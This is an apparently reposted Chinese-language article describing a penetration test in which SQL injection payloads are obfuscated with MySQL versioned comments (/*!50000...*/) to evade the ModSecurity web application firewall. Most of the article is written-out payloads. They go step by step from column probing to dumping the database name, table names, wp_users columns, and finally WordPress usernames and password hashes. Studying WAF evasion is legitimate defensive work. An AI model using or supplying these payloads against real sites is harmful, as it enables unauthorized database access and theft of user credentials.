SQL注入之ModSecurity防火墙绕过
2022-8-8 09:11:15 Author: 编码安全研究(查看原文) 阅读量:21 收藏

文章来源 :SecTr安全团队

研究人员在对网站进行渗透测试时,发现该网站存在SQL注入点,可以绕过 “mod_security” 防火墙。ModSecurity是一个开源、跨平台的web应用程序防火墙(WAF),用于实时Web应用程序监视,日志记录和访问控制。
在网站中使用以下注入语句,会弹出错误提示:
site/ejemplo?parameter=-1+union+selec+1,2,3,4,5,6,7+--+

如下所示,我们只需在上诉有效载荷中添加注释,就可以绕过waf的检测了。

site/ejemplo?parameter=-1+/*!50000union*/+/*!50000selec*/+1,2,3,4,5,6,7+--+

从上图中可以看出,第四列中存在漏洞。为了获得更多的信息,研究人员尝试上传了以下有效载荷:

AND mod(29,9)+div+@a:=(concat(database(),"--","_Y000!_"))+UNION+DISTINCTROW+SELECT+1,2,3,@a,5,6,7
"AND" = 如果用AND分隔的所有条件都为TRUE,则AND运算符将返回一条记录。"mod(29,9)" = mod的功能是在值之间进行划分"div" = 在sql中,div函数被视为除法"@a:=" = 用于在内部保存SQL查询,例如@a:=(concat(database(),"--","_Y000!_")"union" = 连接两个以上的sql命令"distinctrow" = 避免结果重复"select" = 从数据库中选择我们想要的"数据库中的列数"AND mod(29,9)[email protected]:=(concat(database(),"--","_Y000!_"))+UNION+DISTINCTROW+SELECT+1,2,3,@a,5,6,7"

同样,在该有效载荷中添加注释,即可绕过waf的检测:

-1+AND+mod(29,9)[email protected]:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,"_Y000!_",6,7--+

结果如下图所示:

从上图可以看出,我们可以从数据库中提取信息,同时我们还可以在concat函数中插入一些分隔符,如下所示:

@a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)

点击右侧下载图标可以对文件进行下载。有趣的是,下载文件的选项也存在漏洞并清楚地向显示了易受攻击的是第5列。

利用该漏洞,我们可以进一步的挖掘。如下所示,我们可以在有效载荷中添加更多的字符,以从数据库表的名称中提取基本信息:

-1+AND+mod(29,9)[email protected]:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,table_name,6,7+/*!50000from*/+/*!50000information_schema.tables*/+--+

结果如下图所示:

在之前的情况下,我们只有一个文件可以下载,但现在显示出了更多的信息。仔细观察,可以发现新出现的是有效载荷所提取的数据库信息。在右图代码中,可以看出我们有很多的<tr> </ tr>,这是HTML中的表格,每个表中都有数据库表的名称。但这未免也太多了些,由此可以识到该页面使用了wordpress

从字面上看,我们什么都没有隐藏!

-1+AND+mod(29,9)[email protected]:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,column_name,6,7+/*!50000from*/+/*!50000information_schema.columns*/+/*!50000where*/+/*!50000table_name="wp_users"*/+--+

最后,我们可以找到用户名称和密码信息

-1+AND+mod(29,9)[email protected]:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,/*!50000CoNcAt(user_nicename,"--",user_pass)*/,6,7+/*!50000from*/+/*!50000wp_users*/+--+

版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请告知,我们会立即删除!

如有侵权,请联系删除

推荐阅读   

【入门教程】常见的Web漏洞--XSS

【入门教程】常见的Web漏洞--SQL注入

sql注入--入门到进阶

短信验证码安全常见逻辑漏洞

最全常见Web安全漏洞总结及推荐解决方案

常见的Web应用的漏洞总结(原理、危害、防御)

代码审计常见漏洞总结

Web安全漏洞的靶场演示

13 款 Linux 比较实用的工具

xss攻击、绕过最全总结

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247492595&idx=1&sn=07d1604217170dbafbb6f5852712ead4&chksm=ce64b096f91339803161eaf30501e3ceef85458f305574104b4d22266c259a248973aea5ff91#rd
如有侵权请联系:admin#unsafe.sh